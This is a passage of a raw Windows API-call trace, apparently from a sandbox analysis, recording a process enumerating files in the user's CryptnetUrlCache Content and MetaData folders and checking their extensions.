HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0061.727] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0061.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0061.727] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0061.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0061.728] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0061.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0061.728] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0061.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0061.728] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0061.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0061.728] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0061.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0061.728] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0061.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0061.728] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0061.728] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0061.728] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0061.728] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.728] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.728] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="MetaData\\" [0061.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0061.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0061.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.729] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.729] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.729] PathFindFileNameW (pszPath="") returned="" [0061.729] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.729] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.729] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0061.729] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0061.729] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0061.730] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0061.730] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0061.730] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0061.730] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0061.730] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0061.730] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0061.730] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0061.730] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0061.730] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0061.730] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0061.730] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0061.730] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0061.730] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0061.730] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0061.730] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0061.730] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0061.730] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0061.730] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0061.730] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0061.731] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0061.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0061.731] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0061.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0061.731] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0061.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="" [0061.731] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0061.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0061.731] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0061.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0061.731] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0061.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0061.731] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0061.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0061.731] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, 